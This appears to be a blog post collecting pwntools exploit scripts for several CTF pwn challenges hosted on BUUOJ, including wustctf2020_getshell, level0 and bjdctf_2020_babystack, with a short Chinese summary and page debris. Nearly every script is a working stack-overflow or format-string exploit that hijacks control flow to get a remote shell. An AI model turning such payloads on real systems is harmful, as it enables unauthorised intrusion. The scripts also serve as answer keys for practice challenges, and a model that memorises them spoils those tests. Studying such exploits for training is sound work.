wustctf2020_getshell2 exp
from pwn import *
p = remote("node4.buuoj.cn", 27238)
call_system=0x8048529
sh_addr=0x08048670
payload=b'a'*28+p32(0x8048529)+p32(sh_addr)
p.sendline(payload)
p.interactive()
wustctf2020_getshell exp
from pwn import *
p = remote("node4.buuoj.cn", 27723)
payload=b'a'*28+p32(0x0804851B)
p.sendline(payload)
p.interactive()
level0 exp
from pwn import *
p = remote("node4.buuoj.cn", 28051)
payload=b'a'*128+b'b'*8+p64(0x00400596)
p.sendline(payload)
p.interactive()
[第五空间2019 决赛]PWN5
from pwn import *
p = remote("node4.buuoj.cn", 28342)
payload=fmtstr_payload(10,{0x804c044:1111})
p.sendlineafter('your name:',payload)
p.sendlineafter('your passwd:',str(1111))
p.interactive()
bjdctf_2020_babystack exp
from pwn import *
p = remote("node4.buuoj.cn", 28783)
p.sendline(str(-1))
payload=b'a'*24+p64(0x4006E6)
p.sendline(payload)
p.interactive()
ciscn_2019_n_1exp
from pwn import *
p = remote("node4.buuoj.cn", 29026)
payload=b'I'*20+b'A'*4+p32(0x08048F0D)
p.sendline(payload)
p.interactive()
本文提供了多个CTF竞赛中PWN题目的解题脚本,包括wustctf2020_getshell2、bjdctf_2020_babystack等题目。通过构造特定payload实现远程攻击获取shell,适用于学习PWN技巧。
&spm=1001.2101.3001.5002&articleId=127901774&d=1&t=3&u=ec4a92333f084e8a813bebc53e988832)
2160

被折叠的 条评论
为什么被折叠?



